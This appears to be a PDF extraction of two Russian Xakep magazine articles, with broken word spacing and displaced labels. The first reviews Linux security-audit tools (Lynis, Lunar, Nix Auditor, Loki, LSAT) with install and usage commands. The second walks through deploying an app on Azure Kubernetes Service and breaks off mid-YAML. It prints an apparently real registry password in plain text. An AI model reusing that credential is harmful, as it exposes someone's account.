ривиле гиро ван ного запус ка

lynis audit ‐‐pentest

Ес ли  же  ты  хочешь  помес тить  имя  ауди тора,  запус тивше го  тес тирова ние,
прос то добавь параметр  :‐auditor <name>

sudo lynis audit system ‐c ‐auditor Daddy

На любом эта пе ауди та про цесс про вер ки может быть про дол жен (Enter) либо
при нуди тель но  прек ращен  (Ctrl+C).  Резуль таты  выпол ненных  тес тов  будут
писать ся  в  жур нал  Lynis  в  .  Учти,  что  жур нал  будет
переза писы вать ся при каж дом сле дующем запус ке ути литы.

/var/log/lynis.log

Для  тес тирова ния на сис темати чес кой осно ве в авто мати чес ком режиме
мож но наз начить соот ветс тву ющее задание в пла ниров щик Cron с помощью
клю ча  .  В  таком  слу чае  ути лита  будет  запус кать ся  по  задан ному
шаб лону  (кон фигу)  и  не  будет  выводить  никаких  инте рак тивных  сооб щений,
воп росов  и  пре дуп режде ний.  Все  резуль таты  сох ранят ся  в  лог.  К  при меру,
вот скрипт запус ка ути литы с дефол тным кон фигом раз в месяц:

‐cronjob

#!/bin/sh
AUDITOR="automated"
DATE=$(date +%Y%m%d)
HOST=$(hostname)
LOG_DIR="/var/log/lynis"
REPORT="$LOG_DIR/report‐${HOST}.${DATE}"
DATA="$LOG_DIR/report‐data‐${HOST}.${DATE}.txt"
cd /usr/local/lynis
./lynis ‐c –auditor "${AUDITOR}" –cronjob > ${REPORT}
mv /var/log/lynis‐report.dat ${DATA}
# End

Сох рани  этот  скрипт  в  каталог  .  И  не  забудь
добавить пути для сох ранения логов (  и  ),
ина че воз можна некор рек тная работа.

/etc/cron.monthly/lynis
/usr/local/lynis /var/log/lynis

Мож но пос мотреть спи сок всех дос тупных для вызова команд:

lynis show commands

Вы вод дос тупных команд

Осо бо любопыт ные могут гля нуть нас трой ки из кон фига по умол чанию:

lynis show settings

Крат кий инс трук таж по работе с ути литой:

man lynis

Ва риан ты воз можных ста тусов по резуль татам про вер ки огра ничи вают ся сле‐ 
дующим  спис ком: 

.
NONE,  WEAK,  DONE,  FOUND,  NOT_FOUND,  OK,

WARNING

При мер вывода ста тусов

За пуск отдель ных тес тов в Lynis
На прак тике быва ет необ ходимо про вес ти лишь некото рые тес ты. К при меру,
если твой сер вак выпол няет толь ко фун кции Mail Server или Apache. Для это го
мы можем исполь зовать параметр  . Син таксис коман ды выг лядит сле‐ 
дующим обра зом:

‐tests

lynis ‐tests "Test‐IDs"

Ес ли тебе слож но разоб рать ся из‐за боль шого количес тва иден тифика торов
тес тов,  то  ты  можешь  исполь зовать  груп повой  параметр  .
С помощью дан ной опции Lynis запус кает иден тифика торы толь ко тех тес тов,
которые вхо дят в опре делен ную катего рию. Нап ример, мы пла ниру ем запус‐ 
тить тес ты бран дма уэра и ядра:

‐test‐category

./lynis ‐tests‐category "firewalls kernel"

При мер запус ка отдель ных тес тов

Спи сок всех дос тупных тес тов мож но пос мотреть в  .раз деле Controls
По мимо  это го,  фун кци ональ ность  Lynis  рас ширя ют  раз личные  ,

которые  мож но  дописы вать  самос тоятель но,  а  мож но  под кла дывать  новые
в сущес тву ющую дирек торию.

пла гины

Пред ложения по исправ лению (Suggestions)
Все пре дуп режде ния  (Warnings) будут перечис лены пос ле резуль татов. Каж‐ 
дое начина ется с тек ста пре дуп режде ния, потом рядом в скоб ках ука зыва ется
тест, который его сге нери ровал. В сле дующей стро ке пред лага ется решение
проб лемы,  если  оно  сущес тву ет.  По  фак ту  пос ледняя  стро ка  —  это  URL‐
адрес,  по  которо му  ты  смо жешь  пос мотреть  под робнос ти  и  най ти  допол‐ 
нитель ные рекомен дации, как устра нить воз никшую проб лему.

Вы вод рекомен даций, как устра нять най ден ные проб лемы

Про фили
Про фили, которые управля ют ауди том, опре деля ются в фай лах с рас ширени‐ 
ем  ,  рас положен ных  в  катало ге  .  Про филь  по  умол чанию
называ ется пред ска зуемо:  . Раз работ чики не рекомен дуют пра‐ 
вить его нап рямую: любые изме нения, которые ты хочешь внес ти в аудит, луч‐ 
ше добав лять в файл  , находя щий ся в том же катало ге.

.prf /etc/lynis
default.prf

custom.prf
Соз даем и редак тиру ем кас томный про филь:

touch /etc/lynis/custom.prf
sudo nano /etc/lynis/custom.prf

В  этом  фай ле  мож но  опре делить  спи сок  тес тов,  которые  нуж но  исклю чить
из ауди та Lynis. Нап ример:

FILE‐6310: про вер ка раз делов;•
HTTP‐6622: тест уста нов ки nginx;•
HTTP‐6702: тест уста нов ки Apache.•

Что бы исклю чить какой‐то опре делен ный тест, исполь зуй дирек тиву skip‐test
и ука жи ID тес та. Нап ример, так:

# Is nginx installed?
skip‐test=HTTP‐6622
# Is Apache installed?
skip‐test=HTTP‐6702

Оцен ка hardening state
По резуль татам выпол нения всех тес тов в кон це каж дого вывода ауди та ути‐ 
литы  (чуть  ниже  раз дела  пред ложений)  ты  най дешь  раз дел,  который  будет
выг лядеть приб лизитель но сле дующим обра зом:

Lynis security scan details:
Hardening index : 57 [############.........]
Tests performed : 216
Plugins enabled : 0

Ито говая оцен ка hardening state

Продолжение статьи →
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https://www.digitalocean.com/community/tutorials/how-to-perform-security-audits-with-lynis-on-ubuntu-16-04
https://cisofy.com/lynis/controls/
https://cisofy.com/lynis/plugins/


ЖЕСТКАЯ ЗАКАЛКА

LINUX
ПОДБИРАЕМ ИНСТРУМЕНТЫ

ДЛЯ КОМПЛЕКСНОГО АУДИТА
БЕЗОПАСНОСТИ

АДМИН  НАЧАЛО СТАТЬИ←

Этот резуль тат, выражен ный чис лом, показы вает количес тво прой ден ных тес‐ 
тов  и  индекс  безопас ности  сис темы,  то  есть   —  ито говое
чис ло,  с  помощью  которо го  Lynis  оце нива ет  общий  уро вень  безопас ности
сер вера. И  очень  важ но  не  забывать,  что  индекс  безопас ности  изме няет ся
в  зависи мос ти  от  количес тва  исправ ленных  пре дуп режде ний  и  реали зован‐ 
ных  рекомен даций  Lynis.  Поэто му  пос ле  фик сов  пов торный  аудит  может
показать сов сем дру гое чис ло!

hardening  index

WARNING

Лю бые манипу ляции с сис темой в режиме супер‐ 
поль зовате ля  тре буют  прис таль ного  вни мания
и повышен ной ответс твен ности. Выпол няй толь ко
те  дей ствия,  которые  осоз наешь  и  в  которых
твер до  уве рен.  Не  пре неб регай  резер вны ми
копи ями и снап шотами.

2. Lunar — a UNIX security auditing tool based on several security
frameworks

 — это набор натив ных скрип тов, написан ных на язы ке коман дной обо‐ 
лоч ки  bash,  которые  тес тиру ют  целевую  Linux‐машину  и  генери руют
по резуль татам про вер ки  зак лючение  ауди та  безопас ности.  Тул за  осно вана
на стан дартах   и дру гих мировых фрей мвор ках по безопас ности. Заяв лена
под дер жка всех популяр ных сис тем: Linux — RHEL и CentOS с вер сии 5, SLES
начиная с вер сии 10, Debian/Ubuntu, Amazon Linux, Solaris с вер сии 6, macOS
(пос ледние бил ды), FreeBSD (час тично), AIX (час тично) и даже ESXi.

Lunar

CIS

Ло готип Lunar

Кро ме  про чего,  дан ная  ути лита  под держи вает  облачную плат форму 
  и  кон тей неры  .  Под робное  опи сание  всех  фич,

а так же при меры запус ка ути литы и ини циации тес тов при веде ны в докумен‐ 
тации Wiki на  .

Amazon
Web  Services  (AWS) Docker

GitHub

Прос мотр всех парамет ров запус ка Lunar

За пуск в режиме ауди та, то есть  :без вне сения изме нений в сис тему

./lunar.sh ‐a

За пуск в режиме ауди та и пре дос тавле ния боль шей информа ции:

./lunar.sh ‐a ‐v

Пе речис лить тес ты:

./lunar.sh ‐S

Вы пол нять толь ко тес ты на осно ве обо лоч ки:

./lunar.sh ‐s audit_shell_services

За пуск  в  режиме  исправ ления,  то  есть 
:

с вне сени ем изме нений в сис- 

тему

./lunar.sh ‐l

Прос мотр пред лага емых изме нений  (тви ков) сис темы до их вне сения в кон‐ 
фиги:

./lunar.sh ‐d

При мер запус ка тес тов для web‐сер вера Apache

3. Nix Auditor — a CIS Audit made easier
 — это еще один скрипт для про вер ки, соот ветс тву ет ли безопас‐ 

ность  Linux‐сис тем  тре бова ниям  бен чмар ка  CIS.  Ори енти рован  на  RHEL,
CentOS и про чие RPM‐дис три бути вы.

Nix Auditor

Раз работ чики заяв ляют о таких пре иму щес твах Nix Auditor:
 —  про вес ти  базовую  про вер ку ОС мож но менее

чем за 120 секунд и тут же получить отчет;
• ско рость ска ниро вания

 — работа  ути литы про вере на на раз ных вер сиях дис‐ 
три бути вов CentOS и Red Hat;

• точ ность про вер ки

  —  исходни ки  с  докумен таци ей  к  прог рамме  лежат
на GitHub,  поэто му  код  лег ко  нас тра ивает ся  в  соот ветс твии  с  типом ОС
и набором эле мен тов сис темы, которые необ ходимо про верить;

• нас тра иваемость

  —  дос таточ но  сде лать  стар товый  скрипт
исполня емым, и тот готов к про вер ке.

• прос тота  исполь зования

При мер выпол нения команд для заг рузки ути литы с GitHub‐хра нили ща и пос‐ 
леду юще го запус ка скрип та:

git clone https://github.com/XalfiE/Nix‐Auditor.git
cd Nix‐Auditor
chmod +x nixauditor
./nixauditor

При мер вывода информа ции пос ле запус ка Nix Auditor

4. Loki — Simple IOC and Incident Response Scanner
Ути лита   — не  сов сем  клас сичес кий  инс тру мент  для  про веде ния  ауди та
ИБ, одна ко отлично под ходит для поис ка сле дов взло ма, что отчасти мож но
отнести и к прак тике ауди та.

Loki

Ло готип Loki Scanner

По завере ниям раз работ чиков, вот такие воз можнос ти дает нам их тул за:
I. Четыре спо соба выяв ления взло ма:

име на фай лов  (соот ветс твие регуляр ному выраже нию пол ного пути фай‐ 
ла);

•

про вер ка  в  соот ветс твии  с  пра вила ми    (поиск  на  соот ветс твие  сиг‐ 
натурам Yara по содер жимому фай лов и памяти про цес сов);

• Yara

про вер ка  хешей  (срав нение  прос каниро ван ных  фай лов  с  хешами  (MD5,
SHA‐1, SHA‐256) извес тных вре донос ных фай лов);

•

про вер ка  обратной  свя зи  C2  (срав нива ет  конеч ные  точ ки  тех нологи чес‐ 
кого соеди нения с C2 IOC).

•

II. Допол нитель ные про вер ки:

про вер ка фай ловой сис темы Regin (через ‐‐reginfs);•
про вер ка ано малий сис темных и поль зователь ских про цес сов;•
ска ниро вание рас пакован ных SWF;•
про вер ка дам па SAM;•
про вер ка  DoublePulsar  —  попыт ка  выявить  бэк дор  ,  слу‐ 
шающий пор ты 445/tcp и 3389/tcp.

• DoublePulsar

Чуть‐чуть кос немся того, как Loki опре деля ет факт ком про мета ции. Типовы ми
приз наками (Indicators of Compromise), сви детель ству ющи ми, что компь ютер
был ском про мети рован (то есть взло ман), могут быть:

по явле ние  на  компь юте ре malware  (вирусов,  бэк доров,  тро янов,  кей лог‐ 
геров,  крип торов, май неров и  так  далее),  а  так же  хакер ских  ути лит  (нап‐ 
ример, для иссле дова ния сети, экс плу ата ции уяз вимос тей, сбо ра учет ных
дан ных);

•

по явле ние  неиз вес тных  новых  исполня емых  и  дру гих  фай лов,  даже  если
они не детек тиру ются анти вирус ным движ ком как malware‐код;

•

ано маль ная сетевая активность (под клю чение к уда лен ным хос там, откры‐ 
тие для прос лушива ния пор тов неиз вес тны ми прог рамма ми и про чее);

•

ано маль ная активность на дис ковых устрой ствах (I/O) и повышен ное пот‐ 
ребле ние ресур сов сис темы (CPU, RAM, Swap).

•

Пе ред  началом  инстал ляции  нуж но  доус тановить  нес коль ко  зависи мых
пакетов. Это colorama  (дает рас цвет ку  строк в  кон соли), psutil  (ути лита про‐ 
вер ки про цес сов) и, если еще не уста нов лен, пакет Yara.

Итак,  прис тупа ем.  Уста нов ка  в  Kali  Linux  (пред варитель но  дол жен  быть
уста нов лен пакет Yara, который по умол чанию уже инстал лирован в Kali Linux):

sudo pip2 install psutil netaddr pylzma colorama
git clone https://github.com/Neo23x0/Loki
cd Loki/
python2 loki‐upgrader.py
python2 loki.py ‐h

Ус танов ка в Ubuntu/Debian:

sudo apt‐get install yara python‐yara python‐pip python‐setuptools 
python‐dev git
sudo pip2 install ‐‐upgrade pip
sudo pip2 install ‐U setuptools
sudo pip2 install psutil netaddr pylzma colorama
git clone https://github.com/Neo23x0/Loki
cd /home/download/Loki
python2 loki‐upgrader.py
python2 loki.py ‐h

Ус танов ка в BlackArch:

sudo pacman ‐S yara python2‐pip python2‐yara
sudo pip2 install psutil netaddr pylzma colorama
git clone https://github.com/Neo23x0/Loki
cd /home/download/Loki
python2 loki‐upgrader.py
python2 loki.py ‐h

При мер исполь зования

Не кото рые опции запус ка:

optional arguments:
 ‐h, ‐‐help      show this help message and exit
 ‐p path         Path to scan
 ‐l log‐file     Log file
 ‐‐printAll      Print all files that are scanned
 ‐‐noprocscan    Skip the process scan
 ‐‐nofilescan    Skip the file scan
 ‐‐noindicator   Do not show a progress indicator
 ‐‐reginfs       Do check for Regin virtual file system
 ‐‐onlyrelevant  Only print warnings or alerts
 ‐‐nolog         Don't write a local log file

Loki Scanner пос ле пер вого запус ка

Кста ти,  пос ле  уста нов ки  ути литы  неп лохо  бы  про верить  локаль ную  базу  IoC
на обновле ния, сде лать это мож но с помощью коман ды Upgrader:

Loki ‐ Upgrader
optional arguments:
 ‐h, ‐‐help   show this help message and exit
 ‐‐sigsonly   Update the signatures only
 ‐‐progonly   Update the program files only
 ‐‐nolog      Don’t write a local log file
 ‐‐debug      Debug output

При мер ведения лога при ска ниро вании

В пер вую оче редь прис таль ное вни мание обра щаем на сооб щения, выделен‐ 
ные  крас ным.  В  поле    дано  опи сание  фай ла  и  при чины  его
подоз ритель нос ти. Обыч но это вирусы, бэк доры и дру гие подоб ные им прог‐ 
раммы.

DESCRIPTION

Ин форма ция об обна ружен ных вре донос ных фай лах

5. Linux Security Auditing Tool (LSAT)
 — зак лючитель ный в нашей под борке инс тру мент ауди та безопас ности

Linux.  Осо бен ность  дан ной  тул зы  в  ее  модуль ном  дизай не,  который,
по завере ниям раз работ чика, поз воля ет добав лять новые фун кции про вер ки
очень  опе ратив но.  На  сегод няшний  момент  в  ути лите  заяв лена  под дер жка
всех самых рас простра нен ных ОС: Linux — Gentoo, Red Hat, Debian, Mandrake
на  ;  SunOS  (2.x),  Red  Hat,  Mandrake  на  ;
а так же Apple macOS.

LSAT

ар хитек туре  x86 ар хитек туре  Sparc

LSAT уста нав лива ется с помощью сбор ки из исходни ков и име ет заранее
заготов ленный авто кон фиг —  . Если ты не собира ешь ся его пра вить
на свой вкус, то мож но сра зу запус тить ком пиляцию:

autoconf

./configure
make
# Также можно установить LSAT в систему, путь расположения /usr/
local/bin
make install
# и очистить постинсталляционные файлы
make clean

Ли бо  для  Debian/Ubuntu‐дис три бути вов  уста новить  пакет  мож но  пря мо
из репози тория:

sudo apt‐get install lsat

За пус кает ся ути лита с помощью коман ды /lsat и добав ленны ми опци ями:

/lsat [OPTIONS]
Options:
   ‐d        diff current and old md5, output in lsatmd5.diff
   ‐f        Force a specific distribution test. Distro names are:
                 redhat
                 debian
                 mandrake
                 solaris
                 gentoo
                 macosx
                 If no ‐f option, lsat will guess. If lsat can
                 not guess the distribution, default is redhat.
   ‐a        Show this (advanced) help page
   ‐o        Output file name ‐‐ default is lsat.out
   ‐r        Check rpm integrity ‐‐ redhat or mandrake only
   ‐s        Silent mode
   ‐v        Verbose output
   ‐w        Output file in html format
   ‐x        eXclude module(s) in filelist from checks..

ЗАКЛЮЧЕНИЕ
Мы рас смот рели с тобой самые ходовые и в то же вре мя очень кру тые и фун‐ 
кци ональ ные тул зы для ауди та безопас ности Linux‐сер веров. Теперь ты смо‐ 
жешь хорошо под готовить ся к сер тифика цион ному или какому‐либо дру гому
compliance‐ауди ту.  Это  так же  поз волит  тебе  объ ективно  оце нить  текущий
уро вень защищен ности и в авто мати чес ком или полу авто мати чес ком режиме
оттю нин говать свою фер му Linux‐машин на мак сималь ный показа тель harden‐
ing index!

https://github.com/lateralblast/lunar
https://www.cisecurity.org/cis-benchmarks/
https://github.com/lateralblast/lunar/wiki/AWS
https://github.com/lateralblast/lunar/wiki/Docker
https://github.com/lateralblast/lunar/wiki
https://github.com/XalfiE/Nix-Auditor
https://github.com/Neo23x0/Loki
https://www.yara.com/
https://xakep.ru/tag/doublepulsar/
http://usat.sourceforge.net/
https://ru.wikipedia.org/wiki/X86
https://ru.wikipedia.org/wiki/SPARC
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АДМИН

Для обес печения балан сиров ки наг рузки, мас шта биру емос‐ 
ти  и  повыше ния  отка зоус той чивос ти  могут  исполь зовать ся
вспо мога тель ные  средс тва  —  оркес тра торы.  Сре ди  них
боль шой  популяр ностью  сей час  поль зует ся  сер вис  Kuber‐
netes.  Самый  прос той  спо соб  поп робовать  его  в  деле  —
раз вернуть его в обла ке, чем мы сегод ня и зай мем ся.

Пер вым  делом  заходим  на  ,  нажима ем  «Соз дать  ресурс»
и находим сер вис под наз вани ем Kubernetes Service. Выбира ем имя и пре‐ 
фикс DNS на свой вкус. Имя вли яет на то, как ты будешь обра щать ся к сво ему
клас теру, а вот пре фикс вли яет на его FQDN‐адрес.

пор тал  Azure

Соз дание клас тера Kubernetes в Azure. Основные нас трой ки

INFO

Прак тичес ки сра зу пос ле релиза Google переда ла
про ект Kubernetes в соз данный при сот рудни чес‐ 
тве  с  The  Linux  Foundation  фонд  под  наз вани ем
Cloud Native Computing Foundation.

Вто рым  шагом  пред лага ется  соз дать  service  principal.  Service  principal  —
это  сво еоб разный  сер висный  акка унт,  под  которым  могут  выпол нять ся
какие‐то опре делен ные задачи. Плю сы в том, что пра ва такого акка унта мож‐ 
но огра ничить. Кро ме того, мож но соз дать любое количес тво подоб ных акка‐ 
унтов (в то вре мя как чис ло обыч ных акка унтов огра ниче но под пиской). Най ти
соз данные  акка унты  service  principal  мож но  в  Active  Directory  сре ди  App
Registrations.

Соз дание клас тера Kubernetes в Azure. Про вер ка под линнос ти

RBAC (role‐based access control) — это воз можность огра ничить или пре дос‐ 
тавить дос туп к опре делен ным ресур сам (или груп пам ресур сов). То есть ты
смо жешь раз гра ничить,  какие поль зовате ли под писки име ют пра ва дос тупа,
а какие не име ют.

Соз дание клас тера Kubernetes в Azure. Сетевые под клю чения

На дан ный момент про цесс занима ет минут двад цать, но все может зависеть
от  кон фигура ции.  Най ти  офи циаль ные  руководс тва  мож но  по  ссыл кам 

 и 
.

соз‐ 
дание клас тера AKS с помощью пор тала соз дание клас тера AKS с помощью
CLI

Для  работы  нам  понадо бит ся  коман дная  стро ка  Azure —  CLI  (Command
Line  Interface).  Ее  мож но  уста новить  как  под  Windows,  так  и  под  macOS
или  Linux. Лич но  я  пред почитаю исполь зовать Azure Cloud Shell. Это  коман‐ 
дная  стро ка,  которая  запус кает ся  из  заг ружен ной  в  бра узер  стра ницы  пор‐ 
тала  Azure.  Для  работы  она  тре бует  соз данно го  blob‐хра нили ща.  Его  сто‐ 
имость  сос тавит  нес коль ко  цен тов  в  месяц,  и  потому  я  пред почитаю
не парить ся по поводу уста нов ки CLI на свою машину.

Kubernetes  под держи вает  раз личные  тех нологии  кон тей неров,  но  давай
рас смот рим самую популяр ную — Docker.   поз воля ет хра нить один
при ват ный  образ  докера  бес плат но.  Если  нуж но  боль ше,  то  мож но  раз‐ 
местить  их  за  день ги.  Но  за  день ги  при ват ный  образ  докера  мож но  раз‐ 
местить  и  в  Azure Container Registry. Сей час  цены начина ются  с  5  дол ларов
в месяц (за базовый SKU).

Docker.hub

Я  соз дал  сер вис  ACR  под  име нем  myservice.  Если  ты  тоже  соберешь ся
вос поль зовать ся  ACR,  то  пос ле  соз дания  сер виса  будет  необ ходимо
получить его клю чи.

Клю чи дос тупа к ACR

За тем ста нет воз можным залоги нить ся, выпол нив коман ду

docker login myservice.azurecr.io 

Вво дим  взя тые  с  пор тала  имя  поль зовате ля    и  пароль
.  Теперь,  зай дя  в  дирек торию  с  про‐ 

ектом,  мож но  будет  пос тро ить  образ,  одновре мен но  пометив  его  нуж ным
тегом. А пос ле это го отпра вить его в облачный сер вис:

myservice
PJSeyO9=lCMRDI7dGkz68wjhFGRGxSY3

docker build ‐t myservice.azurecr.io/myservice .
docker push myservice.azurecr.io/myservice

Сек реты, сек реты… Пре дос тавля ем дос туп к обра зу и сох раня ем
нас трой ки
При  работе  с  раз верну тым  AKS  необ ходимо  получить  его  кре ды.  Ина че
коман ды kubectl не будут выпол нять ся. Получить дос туп к AKS поз воля ет сле‐ 
дующая коман да:

az aks get‐credentials ‐‐resource‐group KubernetesGroup ‐‐name veryco
olcluster

Для того что бы получить дос туп к обра зу докера, рас положен ному в репози‐ 
тории  докера  в  при ват ном  кон тей нере,  понадо бит ся  соз дать  сек рет.  Если
у тебя пуб личный образ, то этот шаг мож но про пус тить. Для соз дания фай ла
сек рета нуж но выпол нить коман ду такого вида:

kubectl create secret docker‐registry regcred ‐‐docker‐server=<
your‐registry‐server> ‐‐docker‐username=<your‐name> ‐‐docker‐password
=<your‐pword> ‐‐docker‐email=<your‐email>

Ес ли твой образ находит ся в репози тории докера, то зна чени ем 
  будет  .  Для  Azure  Container

Registry FQDN —  . То есть, что бы соз дать сек‐ 
рет для кон тей нера в моем слу чае, я выпол нил

<your‐reg‐
istry‐server> https://index.docker.io/v1/

<registry‐name>.azurecr.io

kubectl create secret docker‐registry regcred ‐‐docker‐server="myserv
ice.azurecr.io" ‐‐docker‐username="myservice" ‐‐docker‐password=
"PJSeyO9=lCMRDI7dGkz68wjhFGRGxSY3" ‐‐docker‐email="asommer@yandex.ru"

Пос мотреть  содер жимое  соз данно го  фай ла  сек рета  теперь  мож но
с помощью коман ды

kubectl get secret regcred ‐‐output=yaml

Ес ли  ты  исполь зуешь AKS,  то мож но  не  соз давать файл  сек рета,  а  пре дос‐ 
тавить дос туп сер вису AKS к сер вису ACR иным спо собом — выпол нив осо‐ 
бый скрипт. Взять его мож но со сле дующей стра нич ки: 

.
Authenticate with Azure

Container Registry from Azure Kubernetes Service

#!/bin/bash
AKS_RESOURCE_GROUP=KubernetesGroup
AKS_CLUSTER_NAME=verycoolcluster
ACR_RESOURCE_GROUP=MyACRGroup
ACR_NAME=myservice
# Get the id of the service principal configured for AKS
CLIENT_ID=$(az aks show ‐‐resource‐group $AKS_RESOURCE_GROUP ‐‐name 
$AKS_CLUSTER_NAME ‐‐query "servicePrincipalProfile.clientId" 
‐‐output tsv)
# Get the ACR registry resource id
ACR_ID=$(az acr show ‐‐name $ACR_NAME ‐‐resource‐group $ACR_RE
SOURCE_GROUP ‐‐query "id" ‐‐output tsv)
# Create role assignment
az role assignment create ‐‐assignee $CLIENT_ID ‐‐role Reader 
‐‐scope $ACR_ID

Мо жешь прос то модифи циро вать зна чения перемен ных   и  ,  ско‐ 
пиро вать скрипт и вста вить его в Azure CLI или Cloud Shell.

AKS_* ACR_*

Kubernetes содер жит безопас ное хра нили ще учет ных дан ных. То есть мож‐ 
но соз дать файл с нас трой ками, и дос туп к этим нас трой кам получить извне
будет зат рудни тель но. В этом фай ле обыч но находят ся стро ки под клю чения
к базам дан ных и какие‐то кре ды. Если такой информа ции у тебя в при ложе‐ 
нии нет (что, прав да?), то этот шаг мож но про пус тить.

Что бы соз дать файл с нас трой ками из коман дной стро ки, нам понадо бят‐ 
ся коман ды vi.

 соз даст файл, если он отсутс тву ет, или откро ет сущес‐ 
тву ющий.

• vi <имя файла>

Сох ранить вве ден ные изме нения — ESC и пос ле это го ZZ.•
Прос то вый ти без сох ранения — ESC и пос ле :q!.•

Очень  сок ращен ное  опи сание,  но  его  дол жно  хва тить.  Могу  добавить,  что
может очень при годить ся исполь зование кла виши Insert.

Итак, через Azure Cloud Shell соз даешь файл с про изволь ным наз вани ем
(допус тим,  )  и  необ ходимым  содер жимым.  Допус тим,
таким:

appsettings.json

{
  "ConnectionString": "some secret string goes there"
}

И пос ле выпол няешь коман ду

kubectl create secret generic secret‐appsettings ‐‐from‐file=/home/
youraccount/appsettings.json

Эта  коман да  соз даст  сек рет  с  нас трой ками  под  име нем 
.  Узнать,  на  какой  путь  заменить  ,  мож но

с помощью коман ды  .

secret‐
appsettings /home/youraccount

pwd

Соз дание deployment
Deployments  пред назна чены  для  stateless‐сер висов  (хорошо  ска зал,  сра зу
вспо мина ются  шут ки  про  билин гвов,  мит болы  и  сто рител линг.  :)  — 

). Они опи сыва ют то, как Pods и ReplicaSets будут соз даны и как они будут
обновлять ся.  Pod  —  это  груп па  кон тей неров  (или  же  один  кон тей нер),
которые работа ют  в одном окру жении. ReplicaSet  сле дит  за  тем,  что бы  ука‐ 
зан ное количес тво pod было запуще но и пос тоян но работа ло.

Прим.
ред.

Я соз даю файл  ,  который соз даст  три пода. Файл содер жит
сле дующий код (напоми наю, что про белы в YAML очень важ ны):

deploy.yaml

apiVersion: apps/v1beta1
kind: Deployment
metadata:
 name: mydeployment

spec:
 replicas: 3  
 minReadySeconds: 10
 strategy:
   type: RollingUpdate
   rollingUpdate:
     maxUnavailable: 1
     maxSurge: 1
 template:
   metadata:
     labels:
       app: myapp
   spec:
     containers:
     ‐ name: app
       image: myservice.azurecr.io/myservice:latest
       ports:
       ‐ containerPort: 80
         name: http
         protocol: TCP
       imagePullPolicy: Always
       env:
       ‐ name: "ASPNETCORE_ENVIRONMENT"
         value: "Production"
       volumeMounts:
       ‐ name: secrets
         mountPath: /app/secrets
         readOnly: true
     imagePullSecrets:
     ‐ name: regcred
     volumes:
     ‐ name: secrets
       secret:
         secretName: secret‐appsettings

Рас смот рим  код.  В  начале  опи сыва ется  количес тво  реп лик  и  стра тегия
обновле ния. Затем деп лой мен ту зада ется имя (myapp) и ука зыва ется ссыл ка
на  образ  кон тей нера.  Про писы вают ся  пор ты:  80  —  это  стан дар тный  порт
для  HTTP.  Далее  идут  ASP.NET  Core’овские  нас трой ки  environment’а.  Затем
мон тиру ются  кре ды  при ват ного  обра за  докера  и  сек ретные  нас трой ки  при‐ 
ложе ния, которые мы не так дав но соз давали.

 strategy:
   type: RollingUpdate
   rollingUpdate:
     maxUnavailable: 1
     maxSurge: 1

Этот кусок отве чает за про цесс обновле ния.   — количес тво подов,
соз дава емых сверх сущес тву ющих при обновле нии (в шту ках или про цен тах).

  —  мак сималь ное  количес тво  подов,  которые  могут  ста‐ 
новить ся недос тупны ми во вре мя обновле ния.

maxSurge

maxUnavailable

Deployment мож но соз дать с помощью коман ды

kubectl apply ‐f deploy.yaml

Зна комь ся — ingress
Для  того  что бы  пре дос тавить  дос туп  к  сер висам  клас тера  и  орга низо вать
балан сиров ку наг рузки, исполь зует ся сер вис под наз вани ем ingress. Доволь‐ 
но популя рен  ingress, соз данный на осно вании nginx. Про ще все го его уста‐ 
новить, исполь зуя пакет ный менед жер Kubernetes, который называ ется helm.
Плю сом Azure Cloud Shell будет то, что helm уже в нее уста нов лен. Для уста‐ 
нов ки nginx‐ingress оста ется ввес ти

helm init

по дож дать нем ного и выпол нить

helm install stable/nginx‐ingress ‐‐namespace kube‐system ‐‐set rbac.
create=false

Соз дание SSL-сер тифика тов с помощью Let’s Encrypt
Так  как  SSL‐сер тификат  при вязы вает ся  к  какому‐то  домен ному  име ни,  то
зададим  нашему  ресур су  DNS‐имя.  Выпол ним  сле дующую  коман ду  и  возь‐ 
мем внеш ний (external) IP:

kubectl get service ‐l app=nginx‐ingress ‐‐namespace kube‐system

Под ста вим IP и при думан ное нами имя для суб домена в сле дующий скрипт:

#!/bin/bash
# Public IP address of your ingress controller
IP="168.63.19.2"
# Name to associate with public IP address
DNSNAME="myservice‐ingress"
# Get the resource‐id of the public ip
PUBLICIPID=$(az network public‐ip list ‐‐query "[?ipAddress!=null]|[
?contains(ipAddress, '$IP')].[id]" ‐‐output tsv)
# Update public ip address with DNS name
az network public‐ip update ‐‐ids $PUBLICIPID ‐‐dns‐name $DNSNAME

Этот скрипт прос то ско пиру ем, вста вим в коман дную стро ку и таким обра зом
выпол ним.  В  качес тве  име ни  для  суб домена  я  задал  очень  ори гиналь ное
имя —  .myservice‐ingress

Ус тановим  менед жер  сер тифика тов,  ана логич ным  спо собом  ско пиро вав
и вста вив в коман дную стро ку сле дующий скрипт. Здесь даже ничего осо бо
менять не нуж но.

helm install \
‐‐name cert‐manager \
‐‐namespace kube‐system \
stable/cert‐manager \
‐‐set ingressShim.defaultIssuerName=letsencrypt‐prod \
‐‐set ingressShim.defaultIssuerKind=ClusterIssuer \
‐‐set rbac.create=false \
‐‐set serviceAccount.create=false

Ес ли бы у нас клас тер был с RBAC, то скрипт был бы дру гим.

helm install stable/cert‐manager ‐‐set ingressShim.defaultIssuerName
=letsencrypt‐staging ‐‐set ingressShim.defaultIssuerKind=Cluste
rIssuer

Ес ли файл сер тифика та име ется в наличии, то мож но его добавить как‐то так:

kubectl create secret tls tls‐secret ‐‐cert CERT.crt ‐‐key 
KEY‐FOR‐CERT.key

Но  пос коль ку  у  нас  сер тифика та,  под писан ного  CA,  нет,  при дет ся  нем ного
потан цевать  с  буб ном.  Мы  соз дадим  CA  с  помощью  бес плат ного  сер виса
под наз вани ем  . Let’s Encrypt — это Certificate Authority, который
выда ет  сер тифика ты  совер шенно  бес плат но.  Такая  вот  аль тру исти чес кая
орга низа ция, цель которой — безопас ный интернет.

Let’s Encrypt

Итак,  соз даем файл  .  Он  опи сыва ет  орга низа цию,
выдав шую сер тификат.

cluster‐issuer.yaml

apiVersion: certmanager.k8s.io/v1alpha1
kind: ClusterIssuer
metadata:
 name: letsencrypt‐prod

spec:
 acme:
   server: https://acme‐v02.api.letsencrypt.org/directory
   email: youeemail@yourdomain.ru
   privateKeySecretRef:
     name: letsencrypt‐prod
   http01: {}

Те бе необ ходимо толь ко заменить email на свой адрес, и мож но выпол нять

kubectl apply ‐f cluster‐issuer.yaml

За тем соз даем файл сер тифика та  , ука зав имя соз данно го
ClusterIssuer и домен, для которо го пред назна чен сер тификат, — 

.

certificate.yaml
myservice‐

ingress.westeurope.cloudapp.azure.com

apiVersion: certmanager.k8s.io/v1alpha1
kind: Certificate
metadata:
